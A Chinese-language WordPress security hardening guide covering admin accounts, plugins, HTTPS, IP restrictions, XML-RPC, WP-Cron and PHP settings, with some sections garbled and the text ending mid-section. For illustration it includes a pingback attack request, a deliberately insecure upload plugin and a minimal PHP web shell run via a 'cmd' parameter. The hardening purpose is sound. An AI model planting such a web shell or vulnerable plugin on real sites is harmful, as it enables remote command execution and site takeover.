本文档旨在适用于使用WordPress开发且不与用户交互的Web应用程序。主要适用于企业品牌页面、各类静态视图、招聘页面及类似网站。
对于用户注册并自由使用网站的开放社区等场景,本文档中的某些项目可能不适用。请在阅读时牢记这一点。
本文档不包含确保WordPress安全所需的全部内容。
但是,它包含了一般性和详细的信息,达到了可以根据指南进行安全风险评估和漏洞响应的程度。
如果您觉得有帮助,请点击 "star"🌟 以支持进一步改进。
安装 WordPress 时,除非在设置过程中更改,否则默认管理员用户名为 "admin"。 "admin" 账户名称广为人知,因此应更改为其他名称。 如果继续使用 "admin" 作为管理员用户名,攻击者可能会尝试使用 "admin" 进行暴力破解攻击,从而访问您的 WordPress 网站。
如果攻击者获得 WordPress 管理员账户的访问权限,他们将拥有对网站的完全控制权。 默认的 WordPress 管理员用户名应更改为其他名称。
审计:
修复:
注意:
默认情况下,WordPress 有五个用户角色——"管理员"、"编辑"、"作者"、"贡献者"、"订阅者"
这些角色允许您通过分配适当的权限来控制用户可以在网站上执行哪些任务。 如果用户角色和权限未妥善管理,用户可能会获得对关键功能的不必要访问权限,从而带来重大安全风险。
审计:
修复:
注意:
WordPress 包含一个内置的用户注册功能。此功能默认禁用,但管理员可以激活。
如果启用此功能,任何人都可以注册并可能访问 WordPress 管理面板,这可能导致安全问题。 对于大多数并非作为开放社区运营的网站,用户注册功能是不必要的,应保持禁用。
审计:
使用 Web 浏览器

使用 curl
(response) HTTP/1.1 302 Moved Temporarily cache-control: no-cache, no-store, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 server: Apache content-length: 0 ... location: https://yourwordpress.com/wp-login.php?registration=disabled
**修复措施:**
- 如果启用了用户注册,请将其禁用。
- 取消勾选“任何人都可以注册”

## 4. 确保插件文件编辑器已禁用
如果攻击者入侵了WordPress管理员账户,他们就可以完全控制你的网站。
他们可以通过内置的“编辑器”功能编辑主题和插件的代码,上传恶意脚本、篡改网站、向用户发送垃圾邮件等。
通过这些编辑器进行的常见攻击包括SQL注入、SEO垃圾邮件攻击和日本SEO垃圾邮件。
**审计:**
- 确认文件编辑器已禁用。
- 检查是否可以通过外观 > 编辑器或插件 > 插件编辑器访问编辑器。
**修复措施:**
- 如果文件编辑器已启用,请按以下步骤禁用它:
1. 使用文件管理器或FTP访问你的wp-config.php文件。
2. 打开wp-config.php文件进行编辑。
3. 滚动到文件底部(如果使用的是默认wp-config.php)。
4. 找到以下行:
`
/* That’s all, stop editing! Happy publishing. */
`
5. 在此行上方添加以下代码:
`
define('DISALLOW_FILE_EDIT', true);
`
6. 保存更改并关闭编辑器。
7. 返回你的WordPress仪表盘,确认编辑器选项已不可用。
## 5. 确保未使用、不必要的插件已停用
WordPress的许多漏洞源于插件安全问题。
插件是开源的,这使得攻击者更容易发现和利用漏洞。
保持你使用的插件处于最新状态,并停用任何未使用的插件以防止潜在利用至关重要。
**审计:**
- 检查未使用、不必要的插件是否已停用。
- 确认未使用和不必要的插件已停用。
**修复措施:**
- 通过以下步骤停用所有未使用、不必要的插件:
**使用插件检查 - PCP:**
- PCP:https://wordpress.org/plugins/plugin-check
1. 安装并激活插件检查 (PCP):
- 进入你的WordPress管理员仪表盘
- 导航到插件 > 安装插件。
- 搜索“Plugin Check”并安装、激活。
2. 运行插件检查:
- 在WordPress仪表盘中,进入插件检查菜单。
- 选择要检查的插件并运行扫描。
3. 分析扫描结果:
- PCP将分析插件的代码并提供报告,包括:
- 代码标准合规性:插件符合WordPress编码标准的程度。
- 安全问题:潜在漏洞或恶意代码。
- 性能问题:对网站性能的影响。
- 兼容性问题:插件是否与其他插件和主题兼容。
4. 识别有问题的插件:
- 如果报告突出显示严重的安全漏洞、恶意代码或大量编码标准违规,则该插件很可能“可疑”。
- 对发出不必要外部请求或运行过多数据库查询的插件保持警惕。
5. 解决问题:
- 通过更新或在插件页面上查找问题来解决已识别的问题。
- 避免使用具有严重安全问题的插件。必要时寻找替代插件。
**插件管理:**
1. 插件选择:
- 使用官方仓库、查看评分和评论、确认开发者可信度
- 不要使用未知、未经验证的插件
2. 定期更新
- 保持插件最新,以确保拥有最新的安全补丁。
3. 停用并删除未使用的插件
- 即使是不活动的插件也可能带来安全风险,因此如果未使用,请将其删除。
- 最小化插件:仅使用必要的插件
## 6. 确保WordPress仅配置为使用HTTPS,包括WordPress管理后台
如今,大多数网站都配置为通过SSL(HTTPS)运行。
然而,一些Web服务器可能仍然错误地设置为同时处理HTTP和HTTPS连接。
这可能导致通过两种协议访问WordPress,存在安全风险。应强制WordPress(包括WordPress管理后台)仅使用HTTPS。
**审计:**
- 确认WordPress(包括WordPress管理后台)已配置为仅通过HTTPS访问。
- 检查Web服务器的VirtualHost配置,确保没有设置HTTP VirtualHost。
**修复措施:**
- 如果HTTP访问可用,首先检查并修改Web服务器设置。
- 如果服务器有HTTP VirtualHost,将其重定向到HTTPS或删除HTTP VirtualHost。
- 必要时,启用“FORCE_SSL_ADMIN”功能,强制WordPress管理后台使用HTTPS访问。
**启用FORCE_SSL_ADMIN的步骤:**
1. 使用文件管理器或FTP访问你的wp-config.php文件。
2. 打开wp-config.php文件进行编辑。
3. 滚动到文件底部(如果使用的是默认wp-config.php)。
4. 找到以下行:
`
/* That’s all, stop editing! Happy publishing. */
`
5. 在此行上方添加以下代码:
`
define('FORCE_SSL_ADMIN', true);`
`
6. 保存更改并关闭编辑器。
返回你的WordPress仪表盘并重新登录,确保WordPress管理后台仅可通过HTTPS访问。
**在Web服务器上将HTTP重定向到HTTPS:**
1. 对于Apache:
```
<VirtualHost *:80>
ServerName yourwordpress.com
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</VirtualHost>
```
2. 对于Nginx:
```
server {
listen 80;
server_name yourwordpress.com;
location / {
return 301 https://$host$request_uri;
}
}
```
通过确保WordPress和WordPress管理后台仅可通过HTTPS访问,你可以显著增强网站的安全性,保护数据并防止未经授权的访问。
## 7. 确保应用IP访问限制(ACL)
确认已应用IP访问限制
为了安全地运行WordPress,对特定URL(包括WordPress管理后台)应用IP访问限制至关重要,以防止未授权的用户、计算机和机器人访问。这涉及仅允许来自许可IP地址(如管理员IP)的访问。此外,需要禁用未使用的功能以最小化攻击面。
需要保护的URL包括WordPress管理后台、用户注册(wp-signup.php)、JSON REST API和XML-RPC功能。
本安全指南针对服务导向型网站,如公司博客、招聘页面、品牌站点和推广站点,这些网站用户交互较少,内容主要以展示为主。
通过实施IP访问限制,你可以显著降低未经授权访问的风险,并增强网站的整体安全性。
### 7.1. 确保对WordPress管理后台应用IP访问限制
WordPress管理后台访问路径固定为wp-login.php或/wp-admin的形式,使得未经授权的用户可以轻松访问。
确保应用IP访问限制以防止对管理页面的未授权访问。
**审计:**
- 确认已对WordPress管理后台应用IP访问限制。
- 大多数情况下,这是通过Web服务器(Apache、Nginx)配置的。
**修复措施:**
- 如果未应用IP访问限制,请实施它们。
- 以下是使用Apache和Nginx Web服务器应用IP访问限制的方法。
**对WordPress管理后台应用IP访问限制:**
- /wp-admin, wp-login.php
1. 对于Apache:
```
# Files Directive
<Files "wp-login.php">
Require ip 10.10.77.49 # Replace with your IP address
</Files>
# FilesMatch Directive
<FilesMatch "^wp-login\.php$">
Require all granted
</FilesMatch>
# Directory, Files Mixing Directive
<Directory /www/vhosts/yourwordpress>
Require all granted
AllowOverride None
<Files "wp-login.php">
Require ip 10.10.77.49 # Replace with your IP address
</Files>
</Directory>
# Location Directive
<Location "/wp-admin">
Require ip 10.10.77.49 # Replace with your IP address
</Location>
<Location "/wp-login.php">
Require ip 10.10.77.49 # Replace with your IP address
</Location>
```
2. 对于Nginx:
```
location /wp-admin {
allow 10.10.77.49; # Replace with your IP address
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # Replace with your IP address
deny all;
}
```
### 7.2. 限制IP访问或禁用JSON REST API功能
WordPress提供两种REST功能(xmlrpc, json rest api),并且在安装WordPress时默认启用。
REST API为WordPress数据类型提供端点,允许远程与网站交互,执行诸如查询文章或数据、修改资源、编辑和删除等任务。
对于大多数WordPress网站,REST API功能并非必需。
启用它可能使WordPress暴露于DDoS攻击,并可能导致资源消耗和网站变慢。
**审计:**
- 确认JSON REST API功能已启用。(默认:已启用)```
# curl -i -k https://yourwordpress.com/wp-json
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
...
Server: Apache
{"name":"mywordress","description":"".......................
修复措施:
安装“Disable REST API”插件并激活:
JSON REST API的IP访问限制:
<Location "/wp-json">
Require ip 10.10.77.49 # Replace with your IP address
</Location>
location ~ ^/wp-json/ {
allow 10.10.77.49; # Replace with your allowed IP address
deny all;
}
与JSON REST API类似,建议禁用XML-RPC API,因为大多数WordPress安装并不需要它。
如果确实需要REST API,建议改用JSON REST API。
XML-RPC有两个主要弱点:
暴力破解攻击:
通过Pingback的拒绝服务攻击:
如果XML-RPC处于启用状态,它仍然可能被利用进行此类攻击。
审计:
(response) HTTP/1.1 405 Method Not Allowed Date: Mon, 25 Jun 2018 08:30:24 GMT Server: Apache Allow: POST Content-Length: 42 Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
**修复方法:**
- 使用插件禁用 XML-RPC 功能
**安装"Disable XML-RPC-API"插件并激活:**
1. 进入你的 WordPress 管理后台
2. 导航到插件 > 安装插件。
3. 搜索 "[Disable XML-RPC-API](https://wordpress.org/plugins/disable-xml-rpc-api/)" 并安装、激活。
4. XML-RPC-API 现已禁用。
**关于 XML-RPC 回引攻击:**
1. 验证 XML-RPC 是否已启用
```
# curl -i -k https://yourwordpress.com/xmlrpc.php
(response)
HTTP/1.1 405 Method Not Allowed
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
```
2. 搜索可用的 XML-RPC 方法
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 135
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
...
Server: Apache
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
...
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
```
3. 执行回引攻击
- 回引攻击的成功与否及具体验证方法未作描述。
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 303
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>call-back url for pingback result</string></value>
</param>
<param>
<value><string>https://yourwordpress.com/</string></value>
</param>
</params>
</methodCall>
(response)
HTTP/1.1 200 OK
...
Server: Apache
Content-Length: 370
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>0</int></value>
</member>
<member>
<name>faultString</name>
<value><string></string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
```
### 7.4. 禁用 WP-Cron 或限制功能
在 WordPress 中,WP-Cron (wp-cron.php) 用于自动化执行任务,如定时发布文章、检查插件/主题更新以及发送通知邮件。
WP-Cron 的基本工作原理是在每次页面加载时检查预定任务列表。
问题出现在页面加载量很大时。
由于每次页面加载都会执行 WP-Cron 任务,多次重复访问会导致相应的 WP-Cron 调用。因此,系统资源可能变得紧缺,导致网站变慢甚至停止响应。
这是真实存在的情况,并且经常被用于针对 WordPress 的漏洞攻击。
如果不需要 WP-Cron,建议禁用它。
如果需要,则限制仅本地主机访问。
**审计:**
- 验证 WP-Cron 是否已启用。(默认:启用)```
# curl -i -k https://yourwordpress.com/wp-cron.php
(response)
HTTP/1.1 200 ok
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
修复措施:
禁用 WP-Cron 的步骤:
/* That’s all, stop editing! Happy publishing. */define('DISABLE_WP_CRON', true);# Files 指令
<Files "wp-cron.php">
Require ip 127.0.0.1 # 仅限本地主机
</Files>
# FilesMatch 指令
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # 仅限本地主机
</FilesMatch>
# Location 指令
<Location "/wp-cron.php">
Require ip 127.0.0.1 # 仅限本地主机
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
启用“ALTERNATE_WP_CRON”的步骤:
/* That’s all, stop editing! Happy publishing. */define( 'ALTERNATE_WP_CRON', true );# Files 指令
<Files "wp-cron.php">
Require ip 127.0.0.1 # 仅限本地主机
</Files>
# FilesMatch 指令
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # 仅限本地主机
</FilesMatch>
# Location 指令
<Location "/wp-cron.php">
Require ip 127.0.0.1 # 仅限本地主机
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
示例:使用系统 Cron (crontab):
.. ... */10 * * * * curl http://yourwordpress.com/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/yourwordpress.com/htdocs; php /var/www/yourwordpress.com/htdocs/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/example.com/htdocs; wp cron event run --due-now > /dev/null 2>&1
**关于使用 wp-cron.php 进行拒绝服务攻击:**
- 向 wp-cron.php 发送大量请求
- 这会导致脚本消耗过量资源,最终使服务器过载


## 8. 安全 WordPress 的系统配置
确保 WordPress 的安全运行需要对 Web 服务器进行正确配置并加固后端组件。
以下是几个必须检查和实施的关键项目。
### 8.1. 确保使用非生命周期终结 (EOL) 的 WordPress 和 PHP 版本
为了维护安全的 WordPress 安装,使用非生命周期终结(EOL)的 WordPress 和 PHP 版本至关重要。
EOL 版本不再受支持,也不会收到安全更新,这会使您的网站容易受到未修补的安全问题影响。
使用受支持的版本可确保任何发现的漏洞都能及时得到修复,从而保护您的站点免受潜在攻击。
以下是验证和更新 WordPress 及 PHP 版本所需执行的操作:
**审计:**
- 确认您当前的 WordPress 和 PHP 版本并非 EOL。
**修复:**
- 安装并运行非 EOL 版本的 WordPress 和 PHP。
- 截至 2024 年 5 月,受支持的 WordPress 版本为 6.5 及以上。受支持的 PHP 版本为 8.1、8.2 和 8.3。
- 如果您使用 Web 托管服务,请利用其版本切换功能,确保您运行的 WordPress 和 PHP 版本均受支持。
**截至 2024 年 5 月的 EOL 状态**
1. PHP: [supported-versions](https://www.php.net/supported-versions.php)
- 当前受支持版本:8.1、8.2、8.3
2. WordPress: [current-releases](https://wordpress.org/download/releases/)
- 当前受支持版本:6.5 系列
**示例:RockyLinux 8.5 中的 PHP**
- 在 RockyLinux 8.5 中,默认可用的 PHP 版本为 7.2、7.3 和 7.4。
```
# dnf module list php
Rocky Linux 8 - AppStream
Name Stream Profiles Summary
php 7.2 [d] common [d], devel, minimal PHP scripting language
php 7.3 common [d], devel, minimal PHP scripting language
php 7.4 common [d], devel, minimal PHP scripting language
Hint: [d]efault, [e]nabled, [x]disabled, [i]nstalled
# dnf module enable php:7.4
==============================================================================================
Package Architecture Version Repository Size
==============================================================================================
Enabling module streams:
httpd 2.4
php 7.4
Transaction Summary
==============================================================================================
Is this ok [y/N]: y
Complete!
```
- PHP 7 已到达生命周期终结(EOL);建议升级到 PHP 8。
- PHP 8 可以从 REMI 仓库安装。
- 以下是如何使用 REMI 启用并安装 PHP 8.2 的示例:
```
# Install PHP 8.2 in Rocky Linux 8
# dnf install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
# dnf -y install https://rpms.remirepo.net/enterprise/remi-release-8.rpm
# dnf -y install yum-utils
# dnf module reset php
# dnf module install php:remi-8.2
Last metadata expiration check: 0:00:39 ago on Tue 13 Dec 2022 07:19:26 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing group/module packages:
php-cli x86_64 8.2.0-1.el8.remi remi-modular 5.4 M
php-common x86_64 8.2.0-1.el8.remi remi-modular 1.3 M
php-fpm x86_64 8.2.0-1.el8.remi remi-modular 1.9 M
php-mbstring x86_64 8.2.0-1.el8.remi remi-modular 574 k
php-xml x86_64 8.2.0-1.el8.remi remi-modular 254 k
Installing dependencies:
httpd-filesystem noarch 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 41 k
libxslt x86_64 1.1.32-6.el8 baseos 249 k
oniguruma5php x86_64 6.9.8-1.el8.remi remi-safe 212 k
Installing weak dependencies:
nginx-filesystem noarch 1:1.14.1-9.module+el8.4.0+542+81547229 appstream 23 k
Installing module profiles:
php/common
Enabling module streams:
httpd 2.4
nginx 1.14
php remi-8.2
Transaction Summary
=======================================================================================================================================
Install 9 Packages
# dnf update
# dnf install php
Last metadata expiration check: 0:00:23 ago on Tue 13 Dec 2022 07:29:55 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing:
php x86_64 8.2.0-1.el8.remi remi-modular 1.8 M
Installing dependencies:
apr x86_64 1.6.3-12.el8 appstream 128 k
apr-util x86_64 1.6.1-6.el8.1 appstream 104 k
httpd x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 1.4 M
httpd-tools x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 108 k
libsodium x86_64 1.0.18-2.el8 epel 162 k
mailcap noarch 2.1.48-3.el8 baseos 38 k
mod_http2 x86_64 1.15.7-5.module+el8.6.0+823+f143cee1 appstream 153 k
rocky-logos-httpd noarch 86.3-1.el8 baseos 24 k
Installing weak dependencies:
apr-util-bdb x86_64 1.6.1-6.el8.1 appstream 23 k
apr-util-openssl x86_64 1.6.1-6.el8.1 appstream 26 k
php-opcache x86_64 8.2.0-1.el8.remi remi-modular 633 k
php-pdo x86_64 8.2.0-1.el8.remi remi-modular 166 k
php-sodium x86_64 8.2.0-1.el8.remi remi-modular 105 k
Transaction Summary
=======================================================================================================================================
Install 14 Packages
Total download size: 4.8 M
Installed size: 14 M
Is this ok [y/N]: y
# php -v
PHP 8.2.0 (cli) (built: Dec 6 2022 14:26:47) (NTS gcc x86_64)
Copyright (c) The PHP Group
Zend Engine v4.2.0, Copyright (c) Zend Technologies
with Zend OPcache v8.2.0, Copyright (c), by Zend Technologies
```
**注意:**
- 有关从 REMI 仓库安装 PHP 的详细说明,请参阅:[rpms.remirepo.net](https://rpms.remirepo.net/)
- WordPress 和 PHP 兼容性文档:[php-compatibility-and-wordpress-versions](https://make.wordpress.org/core/handbook/references/php-compatibility-and-wordpress-versions/)
### 8.2. 确保仅启用 WordPress 所需的 PHP 扩展
确保仅启用了 WordPress 站点所需的 PHP 扩展。
不必要的扩展会增加网站的受攻击面,并可能使 WordPress 暴露于安全漏洞之下。
通过只启用必需的扩展,可以最大程度地降低潜在风险并提高整体安全性。
以下是 WordPress 站点正常运行所必需的扩展。**(并非针对安全加固目的的列表)**
| 扩展 | 描述 |
|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| json | 用于与其他服务器通信以及处理 JSON 格式的数据。 |
| mysqli | 连接 MySQL 以进行数据库交互。 |
| curl | 执行远程请求操作。 |
| dom | 用于验证文本小部件内容以及自动配置 IIS7+。 |
| exif | 处理图像中存储的元数据。 |
| fileinfo | 用于检测文件上传的 MIME 类型。 |
| hash | 用于哈希处理,包括密码和更新包。 |
| igbinary | 作为标准 PHP 序列化器的替代品,提升性能。 |
| imagick | 为媒体上传提供更好的图像质量。详见 WP_Image_Editor。在同时安装 Ghost Script 时,支持更智能的图像缩放(适用于较小图像)和 PDF 缩略图生成。 |
| intl | 启用区域感知操作,包括但不限于格式化、音译、编码转换、日历操作、一致性排序、定位文本边界,以及处理区域标识符、时区和字形簇。 |
| mbstring | 用于正确处理 UTF8 文本。 |
| openssl | 与其他主机建立基于 SSL 的连接。 |
| pcre | 提高代码搜索中模式匹配的性能。 |
| xml | 用于 XML 解析,例如来自第三方站点。 |
| zip | 用于解压缩插件、主题和 WordPress 更新包。 |
| bc | 用于任意精度数学运算,支持任意大小和精度(最高 2147483647 个十进制数字)的数字。 |
| filter | 用于安全过滤用户输入。 |
| image | 如果未安装 Imagick,则使用 GD 图形库作为图像处理的功能有限的回退方案。 |
| iconv | 用于在不同字符集之间进行转换。 |
| shmop | Shmop 是一组易于使用的函数,允许 PHP 读取、写入、创建和删除 Unix 共享内存段。 |
| simplexml | 用于 XML 解析。 |
| sodium | 验证签名并提供安全的随机字节。 |
| xmlreader | 用于 XML 解析。 |
| zlib | Gzip 压缩和解压缩。 |
必要的扩展可在此处找到:[WordPress 托管手册:PHP 扩展](https://make.wordpress.org/hosting/handbook/server-environment/#php-extensions)
**审计:**
- 确认仅启用了 WordPress 站点所需的 PHP 扩展。
**修复:**
- 移除任何不必要的扩展。有时,扩展会随插件一起安装,而您的站点可能并不需要它们。
- 要检查当前启用的 PHP 扩展,可以查看 **php.ini** 文件,或使用 **phpinfo()** 函数列出所有活动扩展。

- 某些扩展如果不需要,应禁用,以防止潜在的安全问题。
- 例如,像 exif、fileinfo、imap、soap、pdo_sqlite 和 opcache 这样的扩展如果启用却不使用,可能会被利用。
- 如果您使用 Web 托管服务,许多提供商提供易于使用的界面来切换 PHP 设置,包括启用或禁用 PHP 扩展。利用这些功能,您可以有效地管理扩展。
### 8.3. 确保具有文件上传功能的插件安全
具有文件上传功能的插件如果未正确保护,可能会构成重大安全风险。文件上传功能中的漏洞可能允许攻击者上传 Web shell,从而导致系统完全受损。因此,确保任何文件上传功能包含验证和清理机制至关重要。
为什么这很重要?
1. 扩展名验证:
- 服务器应根据允许类型的白名单验证文件扩展名,以防止上传恶意文件。
2. MIME 类型检查:
- 应检查文件的 MIME 类型,确保其符合预期类型,从而增加一层额外的安全保护。
3. 上传路径限制:
- 确保不存在未经验证即可直接访问上传文件的暴露路径。
文件上传漏洞尤其危险,因为它们为攻击者上传可执行代码并运行任意命令提供了直接途径。与 SQL 注入等其他安全缺陷相比,文件上传漏洞通常更容易识别和利用。
**审计:**
- 识别您的 WordPress 站点上具有文件上传功能的插件。
- 验证这些插件是否对上载文件实施了适当的验证检查,包括扩展名和 MIME 类型验证。
**修复:**
- 如果具有文件上传功能的插件缺乏适当的验证,要么增强其安全性,要么移除该插件。
- 以下是具有文件上传功能的流行 WordPress 插件示例及其文件验证处理方式。
**示例:具有文件上传处理功能的流行 WordPress 插件**
1. Contact Form 7
- Contact Form 7 是 WordPress 中使用最广泛的表单插件之一。它包含基本的文件上传功能,并带有扩展名和 MIME 类型验证。**允许的扩展名和MIME类型检查的代码:**
```
function wpcf7_allowed_file_extensions() {
// Default allowed file extensions
$allowed_file_extensions = array(
'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx',
'xls', 'xlsx', 'txt', 'csv', 'rtf', 'html', 'zip'
);
return $allowed_file_extensions;
}
function wpcf7_handle_upload( $file ) {
$allowed_mime_types = wpcf7_allowed_file_extensions();
$file_type = wp_check_filetype( $file['name'] );
// Check if the file type is allowed
if ( ! in_array( $file_type['ext'], $allowed_mime_types ) ) {
return new WP_Error( 'wpcf7_upload_failed', __( 'File type is not allowed.', 'contact-form-7' ) );
}
// Handle the file upload
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
// Check if the upload was successful
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpcf7_upload_failed', $upload['error'] );
}
return $upload;
}
```
在Contact Form 7中,`wpcf7_allowed_file_extensions()`函数返回允许的文件扩展名列表,而`wpcf7_handle_upload()`函数在上传前检查文件扩展名是否在此列表中。
2. WPForms
- WPForms通过检查允许的文件类型来处理文件上传。
**WPForms的示例代码:**
```
function wpforms_get_file_types() {
// Return an array of allowed file types
return array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
}
function wpforms_process_file_upload( $file ) {
$allowed_file_types = wpforms_get_file_types();
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'wpforms_upload_failed', __( 'File type is not allowed.', 'wpforms' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpforms_upload_failed', $upload['error'] );
}
return $upload;
}
```
3. WooCommerce
- WooCommerce也在其上传处理代码中直接定义和检查允许的文件扩展名。
**WooCommerce的示例代码:**
```
function woocommerce_handle_upload( $file ) {
$allowed_file_types = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'woocommerce_upload_failed', __( 'File type is not allowed.', 'woocommerce' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'woocommerce_upload_failed', $upload['error'] );
}
return $upload;
}
```
**示例:恶意文件上传插件**
- 一个恶意插件可能看起来无害,但会利用fileinfo扩展来绕过安全检查:
```
<?php
/*
Plugin Name: Simple Malicious Upload
Description: A plugin with hidden malicious file upload capability.
Version: 1.0
*/
function simple_file_upload_menu() {
add_menu_page('File Upload', 'File Upload', 'manage_options', 'file-upload', 'simple_file_upload_page');
}
add_action('admin_menu', 'simple_file_upload_menu');
function simple_file_upload_page() {
?>
<h1>File Upload</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file" />
<input type="submit" name="upload_file" value="Upload" />
</form>
<?php
if (isset($_POST['upload_file'])) {
simple_handle_file_upload();
}
}
function simple_handle_file_upload() {
if (!empty($_FILES['uploaded_file']['tmp_name'])) {
$file_tmp = $_FILES['uploaded_file']['tmp_name'];
$file_name = basename($_FILES['uploaded_file']['name']);
// Using fileinfo to check MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file_tmp);
finfo_close($finfo);
// Insecure handling: allows any PHP files to be uploaded
if ($mime_type === 'text/plain' || $mime_type === 'application/x-php') {
$upload_dir = wp_upload_dir();
$upload_file = $upload_dir['path'] . '/' . $file_name;
// Move the uploaded file to the uploads directory
if (move_uploaded_file($file_tmp, $upload_file)) {
echo "File uploaded successfully.";
} else {
echo "File upload failed.";
}
} else {
echo "Invalid file type.";
}
}
}
?>
```
**漏洞利用说明:**
- 恶意插件允许上传PHP文件,只要其MIME类型是`application/x-php.`
- 攻击者可以利用此功能上传PHP Web shell。
- 上传后,攻击者访问文件的URL并执行任意命令。
**示例:PHP Web Shell代码**```
<?php
if (isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
攻击演示
http://yourwordpress.com/wp-content/uploads/webshell.php 访问 Web Shell。http://yourwordpress.com/wp-content/uploads/webshell.php?cmd=ls,攻击者可执行任意命令。注意:
确保 PHP 函数和设置已正确配置,可以显著增强 WordPress 站点的安全性。错误的配置可能使站点暴露于多种漏洞,包括远程代码执行、信息泄露和会话劫持。加固 PHP,禁用或正确配置这些函数至关重要。
为什么这很重要?
远程代码执行:
allow_url_fopen 的设置以及 exec 等函数可能导致远程代码执行,从而可能危及系统安全。信息泄露:
display_errors 和 expose_php 等选项可能泄露服务器设置相关的敏感信息,使攻击者更容易发现漏洞。会话安全:
session.cookie_secure 和 session.cookie_httponly)可保护会话 Cookie 不被客户端脚本访问,也不通过不安全通道传输。审计:
修复:
allow_url_fopen:
file_get_contents()、fopen()、include() 和 require() 等函数可通过 FTP 或 HTTP 从远程位置获取数据。allow_url_fopen 实现某些功能。; (可选)如果不需要,请禁用 allow_url_fopen
allow_url_fopen = Off
display_errors:
; 禁用 PHP 错误,不在你的 WordPress 网站上显示
display_errors = Off
expose_php:
; 防止在 HTTP 响应头中暴露 PHP 版本
expose_php = Off
session.cookie_secure
session.cookie_secure:
; 确保会话 Cookie 通过 HTTPS 发送
session.cookie_secure = On
session.cookie_httponly
session.cookie_httponly:
示例:以下是实际 WordPress 中已禁用的 PHP 函数列表``` system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
### 8.5. 确保 Web 服务器以非 root 用户运行 - 为服务器应用使用唯一、非特权的用户和组
在大多数情况下,Web 服务器以诸如 "www-data"(Debian/Ubuntu)或 "apache"(RHEL/CentOS)之类的用户运行。
这些用户是专用的服务账户,在服务器上没有任何特殊权限,用于指定 Web 服务器工作进程将采用的用户和组。
如果这些用户拥有系统权限或正以 root 身份运行,则必须进行更改。
**审计:**
- 验证运行 Web 服务器进程的用户。(具体而言,是 Web 服务器工作进程。)
1. 对于 Apache:
```
# ps -ef | grep httpd
root 2257 1 0 Apr08 ? 00:00:01 /usr/local/apache/bin/httpd -k start
apache 5678 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5679 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5680 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5681 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
```
2. 对于 Nginx:
```
